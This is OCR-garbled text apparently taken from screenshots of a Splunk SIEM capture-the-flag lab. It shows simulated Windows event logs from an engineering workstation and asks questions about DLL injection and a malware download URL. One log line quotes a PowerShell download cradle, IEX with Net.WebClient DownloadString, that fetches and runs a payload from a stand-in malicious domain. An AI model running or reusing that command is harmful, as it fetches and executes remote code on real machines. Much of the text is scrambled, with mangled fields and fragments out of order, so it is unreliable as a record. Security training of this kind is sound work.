# date_year 1 > 52225 "Security", "Microsof t-Windows-Security-Auditing", "4625" ,"FailureAudit”, "An account failed to log on. Subject: Usernane

a date_zone 2 407:51000PM st = eng_workstation | source = Avarflog/eng_wrk_station/eng_wrkstation.csv ' sourcetype = eng_workstation

a Details 7

4 Eventld 12 > 52225 "Application”, "AppCrashSim","1000", "Error", "Application svchost.exe crashed with exception 0xc@e@005","5/22/2025 4:07:51 PM"

a ExtraFieldinfo 1 4:07:51000PM 051~ eng_workstation  source = /var/log/eng_wrk_station/eng_wrkstation.csv | sourcetype = eng_workstation

aindex 1 > 5/22/25 "LogName", "Source" , "EventID", "Level", "Message","TimeCreated"

# Level 1 e,

# linecount 1 8:53:41440 AM 051~ eng_workstation  source = /var/log/eng_wrk_station/eng_wrkstation.csv ~ sourcetype = eng_workstation

a punct 12 > 522025 "2025-05-22 08:53:41.440 +00:00", "External Remote SMB Logon from Public IP","high","prod-eng-wks","Sec",4624,229213,"Type: 3 - NETWORK | TetUser

injection

adminuser”, "5/22/2025 4:08:51 PM"

adminuser | SrcComp: AFQC-KILAK | SrcIP: 41.210.147.225 | LID:

Your SIEM alerts you that a suspicious DLL was injected into a legitimate Windows

process on a user’s workstation.

After reviewing process memory and analyzing the injection, you can confirm that a DLL

was loaded into the target process by a remote thread.

gn: Which process was the malicious DLL injected into and what i sthe name of the

malicious dII?

Answer-format: prosessname:dliname

query

index="win_hosts" host=eng_workstation Computer=Warning

index="win_hosts" host=eng_workstation Computer=Warning
+ 1 event (before 6/4/25 10:52:20.000 AM)  No Event Sampling ~
Events(f)  Patterns  Statistics  Visualization

7 Timeline format v —Zoom Out

Job L I

#Format v Show:20 PerPage~  View:List~

< Hide Fields i Time Event.

SELECTED FIELDS > 522725 “Application”,"AppSin", 99337 Warning”,"DLL injected into process|[ETEREEExg] from C:\Users\Public! ."5/22/2025 4:
a host 1 4100000 AM o5t = eng_workst; Blrce = /var/logleng_wrk_station/eng_wrkstation.csv  sourcetype = eng_workstation

a source 1

a sourcetype 1

INTERESTING FIELDS
@ Channel 1
@ Computer,
date_hour 1
date_mday 1
date_minute 1
date_month 1
date_wday 1
date_year 1
date_zone 1
EventiD 1
index 1

Level 1

PR R R R R R R

C2 server

A PowerShell script (Event ID 4104) downloads content from a suspicious domain to the
engineer work station. € Flag 1: what was the full suspicious url from which the



suspicious malware file was downloaded from?
answer: http://suspicious.com/filename

index="win_hosts" host=eng_workstation

18 events (before 6/4/25 11:01:52.000 AM)

Events(18)  Patterns

# Timeline format ~

< Hide Fields

SELECTED FIELDS
ahost 1

a source 1

a sourcetype 1

INTERESTING FIELDS
a Channel 12

a Computer 7

# date_hour 4

# date_mday 1

# date_minute 9

Statistics

—Zoom Out

= All Fields

Visualization

No Event Sampling v

#Format +  Show:20PerPage~  View:List~
i Time Event
> 522125 "Application”,"Servicesin','7036", "Information’, "Service WonUserService started unexpectedly”,"s/22/2025 4:15:51 PM"

4:15:51.000 PM

> 5122125
4:13:51000 PM

> 5122125
4:43:51.000 PM

> 5122125
4:07:51.000 PM

host= eng_workstation | source = wik_station/eng_wrkstation. eng_workstation

Job v

sime- [

» & L * SmartMode~

hour per colu

"Security" “mcroson—w)ndws—sacurny—maimg“,“mm“,“Infwmauon“l“Pwersneu script: IEX(New-Object Net.WebClient).DownloadString('http://malicious.con/payload.psi')","5/22/2025 4:14:51)Pu"

host= eng_workstation | source = _wrk_station/eng._y eng_workstation

"Application","CoMSin","8001", "Information","COM object CLSID {ABC-123} loaded by rundll32.exe","s/22/2025 4:13:51 PM"

host= eng_workstation | source = wik_station/eng_wrkstation. eng_workstation

"Security", "Microsof t-Windows-Security-Auditing”,"4688", "Information","A new process has been created: Name: powershell.exe, Parent

host= eng_workstation | source = var/log/eng_wrk_station/eng_wrkstation.csv  sourcetype = eng_workstation

explorer.exe","5/22/2025 4:10:51 PM"


http://suspicious.com/filename

